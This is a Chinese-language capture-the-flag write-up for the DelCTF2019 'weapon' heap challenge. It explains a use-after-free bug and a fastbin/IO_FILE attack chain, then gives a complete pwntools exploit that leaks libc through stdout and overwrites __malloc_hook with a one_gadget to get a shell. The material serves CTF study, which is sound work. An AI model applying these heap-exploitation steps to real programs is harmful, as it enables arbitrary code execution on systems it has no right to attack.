DelCTF2019 weapon WP

保护

在这里插入图片描述

分析

  • 程序一共只有三个操作:增、删、改。又是没有泄露,看来又是利用IO_FILE泄露内存了。
  • 漏洞还是很明显的,在删除操作中没有将free掉的指针置NULL
    DelCTF2019 weapon WP_第1张图片
  • 并且编辑的时候没有检测指针的合法性,因此形成了UAF
    DelCTF2019 weapon WP_第2张图片
  • 在添加操作中限制了分配的大小DelCTF2019 weapon WP_第3张图片

利用

  • 程序中多处存在scanf函数,根据前面的文章可以知道,scanf可以帮我们得到一块unsortbinchunk,我们构造的攻击链如下:
    1.申请4个chunk,释放其中的两个,然后利用scanf的特性得到一个unsortbin chunk。
    2.释放剩余两个fastbin chunk,利用UAF修改其FD指向unsortbin chunk中。
    3.利用UAF修改unsortbin的低16位,利用fastbin attack有几率得到stdout附近的地址。
    4.部分修改stdout,泄露内存。
    5.利用fastbin attack精确攻击到malloc_hook,修改为one_gadget

EXP

from pwn import*
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def Add(size,name,idx):
    p.sendlineafter('>> ','1')
    p.sendlineafter(': ',str(size))
    p.sendlineafter(': ',str(idx))
    p.sendlineafter(':',name)

def Edit(idx,name):
    p.sendlineafter('>> ','3')
    p.sendlineafter(': ',str(idx))
    p.sendafter(':',name)
def Del(idx):
    p.sendlineafter('>> ','2')
    p.sendlineafter(':',str(idx))

while True:
    try:
        p=process('./weapon',aslr=True)
        proc_base=p.libs()[os.path.abspath(os.path.join(os.getcwd(), './weapon'))]
        Add(0x60,'\x11'*8,0)
        Add(0x50,'\x22'*8,1)
        Add(0x60,'\x33'*8,2)
        Add(0x60,'\x33'*8,3)
        Del(1)
        Del(2)
        p.sendlineafter('>> ','4'*0x500)
        Add(0x10,'',1)
        '''gdb.attach(p,'x/10gx '+str(0x202060+proc_base)+'\n heap bins')
        pause()'''
        Add(0x60,'',1)
        Del(3)
        Del(0)
        Edit(0,'\x00')
        '''gdb.attach(p,'x/10gx '+str(0x202060+proc_base)+'\n heap bins')
        pause()'''
        Add(0x60,'',1)
        Edit(2,'\0'*0x28+p64(0x71)+p16(0x95dd))
        Add(0x60,'',1)
        Add(0x60,'',1)
        Edit(1,'\0'*0x33+p32(0xfbad1880)+'hack'+'\0'*0x18+'\x88')
        p.recv(8)
        libc_base=u64(p.recv(8))-libc.sym['_IO_2_1_stdin_']
        malloc_hook=libc.sym['__malloc_hook']+libc_base
        one=[0x45206,0x4525a,0xef9f4,0xf0897]
        success('libc_base:'+hex(libc_base))
        Del(0)
        Edit(0,p64(malloc_hook-0x23)+'\n')
        Add(0x60,'',1)
        Add(0x60,'\0'*0x13+p64(one[3]+libc_base),1)#
        p.sendlineafter('>> ','1')
        p.sendlineafter(': ','8')
        p.sendlineafter(': ','0')
        p.interactive()
        raw_input()
        exit(0)
    except EOFError,e:
        p.close()

总结

  • IO_FILE的利用逐渐变为常态,需熟练掌握。

你可能感兴趣的:(漏洞挖掘与利用)